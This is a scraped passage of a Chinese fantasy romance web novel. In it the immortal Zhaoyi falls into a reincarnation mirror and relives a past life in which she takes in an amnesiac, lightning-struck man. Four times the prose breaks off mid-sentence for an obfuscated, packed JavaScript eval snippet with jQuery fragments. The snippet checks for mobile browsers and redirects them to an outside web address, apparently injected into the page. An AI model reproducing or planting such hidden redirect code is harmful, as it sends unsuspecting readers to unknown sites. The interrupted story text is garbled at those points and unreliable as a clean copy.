“前世的事情和珩则仙君的神智又有什么关系……” “自然有关。” 执真淡声道,他手指摩挲着酒杯,思虑了许久,才决定告诉昭意,“为了稳住珩则现在的状态,我不会告诉你前世发生了什么,但我可以告诉你,过去的事情,已经成为他的执念,是他心中的魔障,若是不小心,便会坠入万劫不复之地。” 执真说得委婉,但昭意还是听懂了。 说起珩则是如何变成现在这样的,执真也有猜测过一二。 或是被人仰视得久了,坐在高位久了,被仙规大义束缚了许久后,有一天有了想要的东西,正满心欢喜时,突然发觉那喜爱之物被人撕毁破坏后难以释怀的魔障吧。 上境的仙人们都下凡渡过劫,有的人渡劫后能再上一步,有的人却沉湎于过去,久久无法走出,甚至最后丢了仙籍,沦为凡人。 执真想,珩则,也只是众多无法释怀过去的仙人罢了。 * “你确定你没听错?” 落菱皱眉,听着刚回来的仙娥说着昭意与执真仙君在殿中聊的事情。 “奴婢确定,一个字都不会有错。” 落菱沉思了一会儿,蓦地笑了起来,“甚好。我说在桃林时,那小仙娥怎么有些奇怪,原来是诈我话来了。” 仙娥垂着脑袋站在落菱身边,一言不发。 落菱道:“东海龙宫里有一镜,名唤轮回镜,可照天下人的前生今世。你这样……” 落菱在仙娥耳边低语几句。 那仙娥点了头,领了命就匆匆向外走去。 待落菱回了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12942974|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大殿,正好看到珩则站到台上为新生龙子送祝词。 落菱的心跳得更快了些,她盯着珩则,不知道心中究竟是恨还是爱更多。 然而一想到方才吩咐下去的事,她心中便很快活。 待那个仙娥想起前世的一切,不知珩则仙君还能不能像往常一样站在那个仙娥面前? * 昭意也不知自己是如何走出那殿门口的。 蹲在门口的长岁开口唤她时,她才回过神来。 “予青仙子,你怎么了?” 长岁拉过昭意的手,抬头看着她。 昭意脸色有些差。 长岁往后面的大殿看了一眼,心想莫不是被执真仙君骂了? 昭意摇了摇头,她心思有些乱,浑浑噩噩地走了出去。 见她昭意这样,长岁有些不放心,只能跟着她一起。 待两人走回了花园,昭意这才稍稍回过神来。 长岁问:“予青仙子,你怎的了?刚刚像丢了魂一样。” 昭意心中压着事,她摇了摇头,“无事。我们回去吧。” “回去大殿那边吗?” 长岁眨巴着眼看着昭意,“我们不去找轮回镜了吗?” 昭意看着他,伸手摸了摸长岁的脑袋。 心中想到的是珩则的话,过好现在的生活,别再探究过往。 以及执真仙君对她的暗示。 “不去了。” 现在还有比追寻那前世更重要的事情,她想搞清楚珩则如今的状态究竟如何。 经过与执真这一次谈话,她才后知后觉珩则竟然会影响整个天下生灵。所以无论如何,珩则都不能有事。 昭意对长岁道:“我们回大殿,找珩则。” 心中找到了方向,昭意顿时有了精神。 而长岁听到珩则的名字,不由得一抖。 两人回去路上,长岁忍不住问:“仙子怎的突然改变主意了?你方才与执真仙君谈了什么?” 昭意笑了笑,这自然是不能同长岁说的,只好开个玩笑,“这个嘛……我们在讨论桃林里的仙桃都快被你吃光了。” 长岁小脸一红,气恼道:“予青仙子!” 昭意笑笑,两人嘻嘻哈哈地转过拐角时,眼前突然蹿出了一个仙娥来,拦住两人去路。 长岁定眼一看,觉得她有些眼熟,他一拍脑门,“你是落菱仙子身边的人!请问有什么事吗?” 而那仙娥不言不语,直勾勾地盯着昭意。 昭意有些疑惑地看着她,这仙娥眼中像是有漩涡一样,看了一眼就很难将视线移开,只能眼睁睁看着自己坠入其中,动弹不得。 * 大殿之上。 珩则仙君这边才念完长长的祝词,就停外头一阵巨响。 这可不算是个好兆头。 龙王眉头一皱,“怎么回事!” 片刻后,一个小将跑来,“是一位仙子坠入轮回镜中了。” 闻言,在做的仙君皆放下了心,继续把酒言欢。 轮回镜不过是将过去的事情又再经历一遍,并不是什么重大的事情,睡一觉醒来就好了。 珩则却整个人一僵,他抬眼朝坐席看过去——昭意还没有回来。 心中一坠,冷意从骨子里渗透出来,珩则有种不好的预感。 他抬步就朝外面走去。 旁边醉酒的仙君见状,大着胆子上前去问,“珩则仙君急急忙忙地去做什么呀?” 不料,却被珩则一推,顿时那仙君也酒醒了几分,连忙赔不是。 珩则却无暇顾及他,匆匆出了大殿,一心只想找到昭意。 64. 第 64 章 繁清 执真闻讯赶到时,昭意和长岁已经被人从轮回镜里捞起来了。 轮回镜被镶嵌在一块玉石中,乍看去和普通镜子并无不同,一旦有人接触到镜子,就会被吸入其中,待再回忆一遍所有前世的记忆后,方能醒来。 昭意和长岁两人掉入轮回镜后,虽立即有人将两人打捞起来,但还是太迟了。 执真的手指从昭意手腕上缩回,心中沉重。 已经没办法唤醒了,只能等她想起一切后才能醒过来。 但是…… 执真抿紧唇,方才这么大的动静,珩则不可能不知道。 他想着,就见一人挤过围观的人群,快速朝躺在地上的人扑过去。 珩则将昏迷不醒的昭意抱在怀里,一手探向她的手腕。 周围的人窃窃私语着。 执真看不见珩则的脸色,却能看到他伸出的手指在颤抖。 他深吸一口气,压住焦虑的心,对珩则道:“或许事情没有你想象的那么严重。” 珩则却不语,紧紧抓着昭意的手腕,甚至勒出了一道红印来。 执真觉得有些不对劲,他上前去一把拉过珩则,“珩则,你听我说……” 话未说完,他就愣住了。 眼前的珩则面无表情,双眸渐渐泛起赤红,慌乱与愤怒交织着,仿佛要将人撕成碎片。 他额间一抹堕神印若隐若现。 执真顿时浑身冰冷。 * 六百年前,苍山。 山林茂密,日头正好。 蜿蜒的山路上,一个年轻的姑娘气喘吁吁地爬着台阶,她身后跟着一个身形偏瘦的男子。 姑娘爬不动了,杵着竹竿大口大口喘着气,抬起手擦了擦额头的汗。 等她缓过气来,就回头凶狠地瞪着身后的男子,“喂!你有没有点眼力见,本小姐都这么累了,你就不能过来背本小姐上去吗?” 身后的男子却朝她一拱手,“小姐,万万不可,男女有别,小的不敢污了小姐的清誉。” 姑娘眼里闪过一丝失落,她却假装不在意地轻哼一声,“罢了,看你瘦胳膊瘦腿的,想必也背不动本小姐。” 男子看了姑娘一眼,抿了抿唇,最终没有说话。 苍山中有一片竹林,进了竹林,头上热腾腾的太阳就被遮住了,有风吹来,一片清凉。 刚爬得满头大汗的两人到了竹林里,忍不住喟叹一声。 竹林中甚是静谧,偶尔飘落几片竹叶下来,在空中打着转。 这片竹林中,围了一间竹屋。 外头用竹子做的桩歪歪扭扭地围了起来。 那姑娘走到门前,使劲拍了拍大门,喊道:“昭意!我来看你了!” 话音未落,就听“吱呀”一声轻响,那姑娘心中升起不好的预感,下一秒,就见那竹门笔直地倒了下去,砸在地上发出“砰”的响声。 门口的两人目瞪口呆。 “这……这……” 姑娘看了看地上的门,又看了看自己的手掌,寻思着自己也没使多大力啊。 “繁清,我都看到了哦。” 竹楼里幽幽传来一道声音,循声望去,就见一女子靠在二楼的栏杆上,一手杵着脑袋看着门口,还忍不住地打了个哈欠。 繁清一跺脚,指着住楼里的人大骂,“分明是你的门不结实!还想赖在我头上!” 楼里的女子伸了个懒腰,“这我不管,反正我都看到了,是你弄坏的。” 繁清冷哼一声,瞥了一眼旁边的男子。 男子立马会意,笑着去院子里找锤子了。 等繁清走到竹楼里,才见女子披散着头发,睡眼惺忪,躺在长椅上打着瞌睡。 “说吧。” 昭意又打了个哈欠,“一大清早的,找我何事啊?” 繁清上下打量了她一番,忍不住道:“我原本还担心你,一大早就拉着万里来找你,你倒好,日晒三竿了还在睡觉。” 说着,繁清越想越气,抹了一把自己额头上的汗就要往昭意身上擦。 昭意一个鲤鱼打挺,瞌睡立马都没了。 “你可是堂堂沈家大小姐!怎么一点子大小姐的样子都没有!” 繁清哈哈大笑,插着腰,“大胆奴婢,见到本小姐还不跪下!” 昭意闻言,给繁清行了个礼,细声细气道:“小姐息怒,奴婢知道错了。” 两个女子对视一眼,哈哈大笑起来。 在修着门的万里闻声,朝楼上看了一眼,也忍不住一笑。 “哎,你昨日可还好?” 嬉闹过后,繁清还是有些担心昭意的处境。 昭意轻哼一声,看着繁清眨了眨眼,指着自己眼下漆黑的一圈,“瞧见了没,一宿没睡,总算把人给熬走了。” 繁清“啊”了一声,连忙凑近问,“他们找你做什么?” 昨夜她回府后,听闻县令那个小公子带着人去苍山找昭意时,着实将她吓出了一身冷汗。若不是万里拦着她,她能直接冲到苍山来。 昭意道:“听说州上有个五十多岁的官爷缺个小妾,想把我送过去当人情呗。” 她冷笑一声,“小时候想不到有个女儿,十几年后突然就想起我来了?” 繁清叹了口气。 其实她是苍山下木沧县沈家的姑娘,算不上什么大小姐,只不过家中经营些生意,买了几个奴婢奴仆放家里罢了。 说起来,昭意才是真正的大小姐。 昭意原本是县令之女,母亲是州上一官员家中的小姐,当时是低嫁到了木沧县的。 可是好景不长,昭意的娘生下她没几年就撒手人寰了,而那县令不到一月就另娶她人,新夫人还是大着肚子进的县令府。 县令夫人处处看不惯昭意,见到昭意,就叫她想起昭意她娘。 于是在县令夫人几次争吵与哭闹后,昭意就被送到了外院里,身边只留一个丫鬟伺候。 而那丫鬟收了县令夫人的银钱,暗扣昭意的用度不说,还上手打骂昭意,就连昭意生病发热也不请个大夫。 后来昭意就从那个小院子里跑了,跑到了苍山来。 最开始昭意只能躲在猎户临时搭建的小木屋里过夜,后来等长大了一些,自己也慢慢地学着砍竹子搭房。 从一开始风一吹就倒的小屋,到如今只会倒一个大门的竹楼。 昭意觉得还是很有成就感的。 繁清惋惜地看了她一眼,“你当真不回去找你外祖父外祖母?” 昭意摇了摇头,“找他们做甚?我娘为了爱情低嫁给我爹时,就已经和家里人断绝了关系,我娘死时他们都不来看一眼,又怎么会接纳我一个孤女?” 繁清心中一震悲痛,她揽过昭意,拍着昭意的肩,“你若缺什么,便跟我说!我都给你弄来!” 昭意回抱住繁清,嬉笑道:“我什么也不要,就要你这个小可人儿……” 繁清一羞,锤着昭意肩膀,“你正经一点!” 正巧将门修好了的万里上楼听到了这几句话,他道:“昭意姑娘使不得,我们沈府可只有这么一个大小姐。” 昭意眼神在繁清和万里之间转了一圈,恍然大悟,“噢,这是舍不得你家小姐啊。” 话音刚落,眼前的两个人都红了脸。 繁清又羞又怒,拉着昭意的袖子,“你再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963676|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样,我可不理你了!” 站在楼梯上的万里低着脑袋,但红透了的耳朵却出卖了他。 昭意一笑,不再说话。 因快到中午了,昭意和繁清便一同到后山找野菜,让万里在家中守门。 两个姑娘许久未见,一路上叽叽喳喳的,讨论个不停。 突然昭意眼睛一转,凑近繁清低声道:“你和万里……怎么样了?” 繁清脸蓦地红了,她慌乱地看着昭意,支支吾吾道:“什么……什么怎么样,你在说什么?我不懂……” 可刚说完,她又对上昭意似笑非笑的眼神,索性放弃了挣扎。 繁清长叹一口气,“还能怎么样,他就是个呆子!” 说起万里,她愤愤道:“我怀疑他根本就不懂感情!” 当局者迷,旁观者清。 昭意却觉得,万里并非是像繁清说得那样什么也不懂。 繁清冷哼一声,“本小姐都暗示得那么明显了!他还能搬出男女授受不亲那一套出来,真是气死我了!” 昭意幽幽看着她,“你们男未婚女未嫁的,确实该避一避。” 繁清一撅嘴,“怎么你也这样!” 昭意笑了笑,“待他真的有能力了,定会光明正大上门提亲,然后八抬大轿迎你入门的。” 或是因为自己母亲的影响,昭意并不会像繁清这样一心为爱奔赴,她的母亲就是自以为找到了真爱,却不想所爱之人早已沉迷温柔乡无法自拔。 繁清脑袋靠在昭意肩膀上,“那你呢?可有喜爱之人?” 昭意笑了笑,林间风拂过她的长发。 “我觉得,就这样一人在山间孤独终老,也挺好。” 繁清一副昭意不懂爱的模样,她叹了口气,“若能嫁给真心对我之人,天打雷劈我也愿意。” 话音刚落,天空中就传来一声巨响。 上空劈过一道金色的闪电,伴随着隆隆的声音,如地震山摇,十分恐怖。 繁清尖叫一声,使劲往昭意怀里钻。 “上天呀菩萨啊,信女只是说说而已,做不得数的!” 昭意笑着拍着繁清后背,“没事的,不过是个雷罢了。” 繁清颤颤巍巍抬头,看着眼前的昭意好好的,又看看自己的手,确定自己没事了,忍不住抱着昭意嚎起来。 昭意觉得甚是好笑,就由着她一顿折腾。 不过…… 昭意看着不远处的山林,方才那雷劈的地方便是那边。 她灵光一闪,听闻雷击木还挺值钱,就是不知她运气有没有这么好了。 昭意想着,便想拖着繁清一起过去看看。 繁清心中虽还有些害怕,但她更怕自己一个人,也只能跟着昭意一同过去了。 前方的树丛太过茂密,行走起来有些费劲。 两人好不容易才走到了被雷劈的地方,却见被雷劈的地方漆黑一片,什么也看不清。 昭意在山上住惯了,她便让繁清在上面等着,自己下去看看。 繁清搓了搓手胳膊,看着昭意的身影,忍不住道:“小心啊!” 昭意才着树枝滑到了被雷劈的地方,她探头一看,下一秒却猛地退了几步,脚却被后面的藤蔓绊倒,一屁股坐在了地上。 “昭意!你怎么样了!” 在上面的繁清见了,有些急了,笨拙得想要来帮昭意。 昭意却喊:“我没事!” 她深吸了一口气,颤颤巍巍走到那片漆黑之前,伸出一根手指。 良久之后,她大大松了口气,才惊觉自己出了一声冷汗。 昭意朝繁清喊道:“这里有个活人!” 65. 第 65 章 初见 繁清好不容易从坡上下来,她瞥了一眼地上的人,捂着嘴后退,“这……不会是死了吧?” 昭意搭上地上这人的脉搏,从指尖感受到了微弱的跳动。 “没有,但是快了。” 昭意思索一会儿,对繁清道:“你在这里等着,我去找万里来。” 繁清看了一眼地上半死不活的人,心中突然一抖,若是这人死了,自己岂不是要跟一个死人待在一起? 她连忙抓住昭意的手,“不不不,还是我去找万里吧。” 昭意有些狐疑地看着她,“回去的路你可认得?” “自然认得!” 繁清也知不能拖太久,她提起裙摆,用手扒拉着枝条就往坡上爬,朝着小竹楼奔去了。 最终在万里的帮助下,三人将那黑人运回了竹楼里。 万里将人放置在床上,两个姑娘站在旁边端着水盆和药瓶。 繁清盯着那黑人略有起伏的胸膛,奇道:“这能活吗?我还未见过被雷劈了还能活下来的人。” 昭意道:“不管怎样,也要救了试试。” 万里将汗巾浸泡在水中,捞起拧干后往床上躺着的人身上擦去,蓦地他手一顿。 繁清双眼一亮,“他原来是个白的!” 昭意探头一看,果然被汗巾擦过的地方露出了一片白皙的皮肤,与旁边漆黑的地方形成了鲜明的对比。 万里盯着眼前这人脖子上凸起的喉结,转头对繁清道:“男女授受不亲,还请大小姐回避一下。” 繁清一愣,扭头,“我昭意都在这呢,我不走。” 万里只好向昭意投去求助的目光。 昭意无奈一笑,拉过繁清,“这也没什么好看的,我们出去等等吧。” 繁清犹豫一会儿,只好应了昭意,两人一同走出房间。 两人靠着栏杆,望着远处的竹林。 繁清道:“里面那人看来得休养一阵子才行,你一个人恐怕不方便照顾吧?不如我让万里将人背回去,送去沈府。” 昭意一笑,“你可忘了你还是沈家的大小姐?你若带个男人回去,你爹娘的天恐怕都要塌了,以后万里的求亲之路或许就更难了呢。” 繁清撅嘴,喃喃道:“他心里都没我,哪里会上门提亲呢?” 昭意笑了笑,只长叹道:“还是让他在我这吧,这竹楼没别人,不会有人说闲话。” 繁清用手托着脑袋,正好一阵清风吹来,将她心中那点燥意都吹散了。 “好吧。” 她不知想到了什么,轻声道:“有时候觉得,住在这远离人世的竹楼里也挺好的。” 昭意接过一片被风吹过来的竹叶,没有说话。 良久后,身后的门“吱呀”一声被打开了。 万里道:“我已为他上过药了,只是能不能醒来,还得看他自己的造化了。” 昭意谢过万里,“劳烦了。” 繁清踮起脚,想往里看,却不料万里身形一晃,他站在门口,将里面挡得严严实实的。 他道:“小姐,今日出来已有些时候了,再晚些回去就会被老爷和夫人发现了。” 繁清闷闷不乐,瞪了一眼万里,“就你会扫兴!” 万里低下头,不说话。 昭意见了,连忙拉过繁清的手,“还是快些回去吧,晚了你不好交代。” 繁清到底还是有些怕自家爹娘,只能低着头拉着昭意的手,“等我有机会再来找你。” 于是繁清依依不舍地和万里离开了竹楼。 送别了繁清万里两人,昭意往屋里看了一眼。 床上那人身上的污浊皆已被万里擦去,并着上了一身白衣。 他静静躺着,双眼闭合,脸庞柔和,乌发散乱地披在枕上,发出微弱的呼吸声。 昭意心道,这人比镇上的张秀才都要俊上几分呢。 她为男子轻轻关上了门,就下楼去了。 以往待繁钦和万里走后,这竹林里就只剩下昭意一人了。 不过她早已习惯这种生活了,倒不觉得寂寞。 这会儿昭意扛起锄头,狠狠在地上砸下一个坑来。 每次都要去镇上的市集里买菜买米,是在有些累人,昭意想着在小竹楼前的地里栽一些菜,以后就不用频繁地往山下跑了。 随着时间流逝,地上的土被刨得擦不多了,昭意也累得气喘吁吁。 她抬手擦了擦额上的汗水,停下来休息一会。 在竹林里的好处就是吹来的风总是带着凉意的,清幽的风吹过耳畔,也带走了她不少的燥意。 身后的竹楼似乎发出来些声音,昭意惊愕地往回看。 只见楼上的门被人推开,走出来一身白衣的人,他乌发被清风吹起,眉目冷清,而一双眼却有几分茫然。 他的目光落在了楼下的昭意身上,不禁一愣。 少女怔怔地看着他,脸上带了几分讶异,一双眼眸清澈明亮。 细碎的阳光从茂密的竹林间洒落下来,落到少女的乌发上,整个人似乎泛着光芒一般。 昭意暗道,这人怎么醒得这么快?方才在林子里时还瞧着快要不行了。 她有些窘迫,方才刨了这么久的地,大汗淋漓,现在恐怕一副狼狈的样子。 上头的人瞧着她不说话,昭意只好轻咳一声,“你……你醒了啊。” 男子沉默了一会儿,问:“这里……是何处?” 昭意将锄头往旁边一丢,一边擦着脸上的汗水,一边往楼上走。 “这里是苍山,你方才似乎被雷给劈了,这林子里少有人来,我便将你带回来了。” 男子眉头一扭,似乎有些不敢置信,“被雷……劈了?” 昭意哈哈一笑。 她原本也不太相信的。 “公子……家在何处?你若身体还有不适,我便替你跑一趟,让你家人来接你,只是这银子嘛……” 昭意心中小算盘打得啪啪直响,瞧着这人生得一副好相貌,现虽穿着粗制的白衣,但也气质不凡,想来家里是不缺钱的。 她朝着男子温和地笑着。 而男子脸上却有几分迷茫,他喃喃道:“家……?” 昭意升起一股不好的预感。 下一刻,男子就道:“我不记得了。” 昭意的笑容僵在了脸上。 “那姓名呢?你是怎么来到苍山的?附近可有朋友?我去打听打听也成。” 昭意接连着问了好些话,男子只茫然地摇头。 昭意心如冰窖。 “那你可还有别的地方可去?” 男子又摇头。 昭意长叹一声,望向自己的小竹楼。 她已经一人生活都已经如此艰难了,万万不能再收留别人了。 只是她看了一眼男子,不知怎的,她竟从这人身上看出了几分可怜。 这般无家可归,与她当时又何其相似。 昭意犹豫不决。 男子似乎察觉到了昭意在想什么,他看了一眼楼下,就抬步走了下去。 他拎起昭意随意丢在地上的锄头,往地上狠狠一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13005764|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 砸。 锄头在地上挖出一个深坑,比刚才昭意费了半天劲刨出来的坑要深多了。 昭意忙活了一下午的地,这么一会儿就被男子刨完了。 她眼睛一亮,似乎也不是不可以留下这个人。 * 一天前。 一个枯瘦如柴的男人杵着拐杖在山坡上艰难前行。 太阳将他皮肤晒得黄黑,他的双唇干得裂出血迹来。 男人一瘸一拐的,仔细一看右边膝盖以下竟然是空荡荡的。 脚下不慎被草一绊,男人倒了下去,顺着山坡滚到了下面枝叶茂密的地方。 若不是这些枝叶挡着他,恐怕他会摔个半死。 只是人虽然还活着,但经过这么一摔,男人也实在没有力气了。 他盯着山边的落日,太阳被山与云层一点点遮住,余辉渐渐淡去,无尽的黑暗爬上山头。 他的人生,大约就是如此吧。 一个人孤零零地来,最后也一个人躺在孤山上死去。 在露水覆盖住男人面容时,他闭上了眼,停了呼吸。 黑夜上方,飘着两个小仙童。 他们从云层探出两个脑袋,看着男人。 其中一人叹了口气,“我们都等这么久了,珩则仙君什么时候归位啊?” 另一小童道:“或许一会儿,或许明天,或许几月。” 仙童眼巴巴地看着地上已经断绝了气息的人,“你说这仙君好端端的,非要来人间体验百苦做什么呀?” 旁边的人瞥了他一眼,“我们做仙童的,少评价仙君的事。” 那仙童只好默默闭上嘴巴。 这两个小仙童是司命殿里的。 珩则仙君离开上境之前,找执真仙君写过他这一生的命册。 那册子,叫人看了一眼,不忍再看第二眼。 这一世的仙君刚出生时,便因爹娘听信了村外一老和尚的话,被抛弃到了河中。后被一老人收养至五岁,老人寿终正寝后,他又被老人子女赶出家中,只能靠乞讨养活自己。 而在乞讨中,又因不小心抢到了别的乞丐的地盘,被人打断了腿。 这般凄惨地流落人间十余年,尝尽了人情冷暖。 前几日,他又因心善被人骗光了看病的钱,被马夫半路丢到路边,他只能顺着山坡爬上来,直至力竭。 如今伤口感染,高烧不断,饥渴难耐,只能一人孤零零地死去。 待他死去,珩则仙君便能归位了。 两个小仙童便是执真仙君派来看着珩则这一世有没有脱离命册的。 天边似乎传来奏乐声,其中一个小仙童不免有些心痒痒。 “听闻今日天后娘娘开了宫宴,带来了上等仙果……” 话没说话,就被旁边的人敲了敲脑袋,“珩则仙君归位之前,我们谁都不能离开。” 小仙童撅嘴,“我们都在这看了三十多年了,仙君一点事都没有。” 他指了指躺在地上已经气绝身亡的男人,“都这样了,还能有变数?” 小仙童眼巴巴地看着旁边的人,“听闻此次的仙果,食一枚就能长百年的法力,去晚了可就没有了。” 旁边的仙童虽然年长了一些,但到底是个孩子。 闻言,心里也有些动摇,他看了一眼地下的人,确实已经死得透透的了,只需等着仙君归位就是,一般来说不会再有什么意外了。 思索一番,他点点头,“那好吧。” 于是两个小仙童乘着云,迫不及待地朝上境飞去了。 66. 第 66 章 墨择 或许两个仙童怎么也没想到,在两人走的第二天,就发生了变数。 次日,阳光正好,万里无云,却凭空有道金色的雷电一闪而过,伴着隆隆雷声,直直击中地上的男子。 此乃仙君即将归位的征兆。 电光过后,被雷所击之处一片漆黑。 而地上躺着的男子的身形却在这阵雷电之后渐渐发生了变化,原本枯瘦如柴的身躯慢慢结实起来,右腿空荡荡的地方也长出小腿来。 男子却依然毫无意识,无知无觉地躺着。 直到旁边树林里传来两个人的脚步声。 * “这么说,你真什么都不记得了?” 竹楼里,昭意与珩则席地而坐。 她手里捧着茶杯,看着眼前的男子。 经过刚才的询问,昭意才知这人是真真正正一点记忆都没有。 她倒没觉得有多奇怪。 这人都被雷劈了,能活下来已经是很大的奇迹了,或许当时正好把脑子劈坏了也不一定。 “可是你总得有个名字吧。” 昭意思索一会儿,瞧着眼前的人穿一身的白,皮肤也十分白皙,叫她想起他半死不活躺在林子里时全身漆黑的模样。 昭意捂嘴笑了笑,“不如就唤你墨择如何?” 看着眼前人偷笑的模样,珩则心中觉得有些许怪异。 “这……是个好名字吗?” “那是当然。” 昭意拍着胸脯保证,“这比什么小白小黑好听多了。” 珩则听着,也觉得墨择比小白小黑好听。 “只是为何非要是黑白?” 昭意闻言,轻咳一声,“里头学问大,你失忆又什么都不记得,就不用管了,以后这就是你名字了。” 珩则也只好点点头。 两人又商议了一番,以后竹楼里的体力活都交给珩则干,昭意就答应让珩则继续住在竹楼里。 “正好明日要下山买些东西,你便同我一起吧。” 一想到明日去镇上有人帮忙拎东西,昭意就觉得无比轻松。 待珩则回了房后,昭意便哼着小曲儿收拾着自己屋里的东西,想到珩则身上穿的那件松松垮垮的衣裳,昭意寻思着明日顺便给他多买几件衣服好了。 正想着,屋外传来叩门的声音。 “是我。” 昭意疑惑地打开门,下一秒就立即闭上了眼睛。 她用双手捂着眼睛,“你你你这是做什么!快把衣服穿好!” 门外站着的男子衣裳凌乱,露出里面白皙的皮肤来,有些茫然地看着昭意。 他喃喃道:“姑娘,这衣服的带子我不会解……若是打扰了,我走便是。” 闻言,昭意这才知道自己误解了,她微微睁开了眼,看了一眼已经转过身的男子。 “你等等。” 昭意让他将领口拉上后,才慢慢走到珩则身边。 往下一看,果然衣摆处已经结成了个死结。 昭意一边叹气万里胡乱给人家打结,一边动手将那疙瘩解开。 “好了。” 昭意拍了拍手。 珩则朝昭意感激一笑,“多谢。” 昭意摆摆手。 珩则要走时,又转过身来问,“我方才可有冒犯到姑娘?方才姑娘那般反应,是我哪里做的不好吗?” 闻言,昭意一窘。 这倒是她以小人之心度君子之腹了。 她轻咳几声,连忙道:“没有的事。” 珩则虽有些不解,但也没有追问,他颔首,便回了自己屋。 苍山脚下就有个镇子,昭意平日便是到这里换取东西的。 这镇子也是属于木沧县所管辖的地区,不过离木沧县城中较远,这也是昭意选择在苍山久居的原因。 昭意虽久居深山,但偶尔也会下山逛逛,对镇上的集市倒也还能处得习惯。 珩则就不这样了。 两人从山上下来时,越接近集市,吵闹的声音便越大。 昭意手上挎着篮子,一边走一边道:“一会儿我们先去买些米,然后去成衣店给你买些衣服。” 半晌没有得到回应,昭意回头一看,只见珩则背着篮子,慢悠悠走在后头。 他的注意力显然不在她身上,他似有些惊慌又有些新奇,看着周边的人和事物。 昭意不免有些惊讶,站在前面等着他走近,“你以前……没来过这些地方吗?” 珩则摇了摇头。 昭意摸摸下巴,难不成也是和她一样住在深山老林的人? 这么一想,似乎也合情合理,不然怎么会一个人出现在苍山上。 两人到了米铺,老板一看到是昭意,便扬起笑脸来。 “昭意姑娘又来换米啊?” 他搓了搓手,笑眯眯地看着昭意,他目光一转,落到了珩则身上,不由得一惊。 “哟,这位是……” 老板上下打量着珩则,瞧他模样生得俊俏,气质不凡,总觉不是寻常人,可又看他身上穿着布衣,一时间摸不准他的身份。 珩则似不喜这目光,他皱了皱眉,往昭意身后躲了躲。 昭意笑了笑,上前一步挡住老板打量的目光,“朋友。” 昭意从珩则背着的背篓里提出一只彩尾野鸡来,放到柜台上。 老板拎起野鸡,捋了捋胡子,“昭意姑娘啊,你有所不知,最近我们米价涨了些,所以……” 他微微一笑,看着昭意。 昭意心中道了句老狐狸,却也笑道:“罪过,我久居山上,不知晓如今的市价,不如我再卖老板一个消息?” 老板继续笑着。 昭意上前道:“听闻最近县城因要捐赠救济粮,甚是缺米,老板不如去城里探探商机?” 老板双眼一亮,却不敢全信,“消息可真?你是从哪听来的?” 昭意笑道:“信不信,便看老板自己了,差人去跑一趟打听打听,也没有多少损失。” 老板精明的双眼盯了昭意一会儿,最终招了招手,让店里的伙计给昭意抬来一袋米。 老板道:“若此消息为真,之后必重谢昭意姑娘。” 昭意心里冷笑一声,这扒皮的老狐狸,竟舍得从他兜里掏子儿出来?这天下还有这等好事? 老板继续道:“既然如此,我便也送昭意姑娘一个消息。” 昭意一挑眉,“老板请讲。” 老板道:“听闻县令家的公子还在这镇里,并未回去。” 闻言,昭意眸光一动,她心思转了转,对老板道:“多谢老板,这消息对我来说有用多了。” 两人出了米铺,便朝成衣店走去。 昭意心中想着老板方才的话,蹙起了眉。 秦明川怎的还在这镇里?以往这些人来了镇里,最多第二天便走了,毕竟是县城中的公子哥,自然住不惯镇上这种穷地方。 这次倒是有些意外,这些人竟然还在这镇上等着她。 莫不是这次县令老头遇到的事情有些棘手?非要求人求到州上才行? 昭意冷哼一声,这家子人的事跟她一点关系都没有,若是他家出事,昭意恨不得拍手称赞。 只是如今那县令老头还占着她娘留下的宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13008126|127974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,当时她娘与家里人断绝了关系,家里人倒也不算是太狠心,还是送了她一处宅子做嫁妆。 自她娘死后,那院子就住进了新县令夫人的一家老小,昭意想想都觉得作呕。 那宅子给谁住都好,非要给那女人一家,说不准就是故意来恶心昭意的。 其实昭意心中一直有个想法,便是将那宅子夺回来。 但是她如今是一介孤女,怎么抖得过堂堂县令,这个想法便只能一直留在心底了。 如今到好,那一家子人强占她娘的宅子便罢了,现在都把如意算盘打到昭意头上来了。 昭意眼神一冷,握紧了拳。 “昭意姑娘。” 